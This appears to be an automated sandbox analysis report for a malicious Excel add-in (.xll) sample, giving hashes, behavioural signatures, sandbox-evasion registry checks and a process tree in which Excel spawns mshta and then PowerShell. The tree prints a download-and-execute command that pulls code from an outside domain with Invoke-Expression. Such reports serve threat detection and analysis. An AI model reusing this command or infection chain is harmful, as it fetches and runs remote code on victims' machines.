Analysis
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max time kernel
146s -
max time network
150s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 19:11
Static task
static1
Behavioral task
behavioral1
Sample
61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll
Resource
win11-20240426-en
General
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Target
61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll
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Size
12KB
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MD5
a4afc2a894f765f03c95152f7af21246
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SHA1
a034dc3bf870351aa92f28ab728ff7fff77ecc07
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SHA256
61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69
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SHA512
10065421dc4e8e2ae35e147c859765d76ee9aacd77bd7c2c1db888c7d99a42955b26f4f38d6e7de5048c3345dcd7518a77542363ffd3fa4e1183f96cb9091e6d
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SSDEEP
192:sL29RBzDzeobchBj8JON8ONcEJrutrEPEjr7Ahf:C29jnbcvYJOJHutvr7Cf
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 944 5036 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 17 3448 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 5036 EXCEL.EXE 5036 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 5036 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3448 powershell.exe 3448 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3448 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 5036 EXCEL.EXE 5036 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE 5036 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 5036 wrote to memory of 944 5036 EXCEL.EXE mshta.exe PID 5036 wrote to memory of 944 5036 EXCEL.EXE mshta.exe PID 5036 wrote to memory of 944 5036 EXCEL.EXE mshta.exe PID 944 wrote to memory of 3448 944 mshta.exe powershell.exe PID 944 wrote to memory of 3448 944 mshta.exe powershell.exe PID 944 wrote to memory of 3448 944 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3448
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\61ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69.xll
Filesize12KB
MD5a4afc2a894f765f03c95152f7af21246
SHA1a034dc3bf870351aa92f28ab728ff7fff77ecc07
SHA25661ba115b9679ffcb94f789f8238af529b4dd810fbc3130f0a60dcfd0e8e8bc69
SHA51210065421dc4e8e2ae35e147c859765d76ee9aacd77bd7c2c1db888c7d99a42955b26f4f38d6e7de5048c3345dcd7518a77542363ffd3fa4e1183f96cb9091e6d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82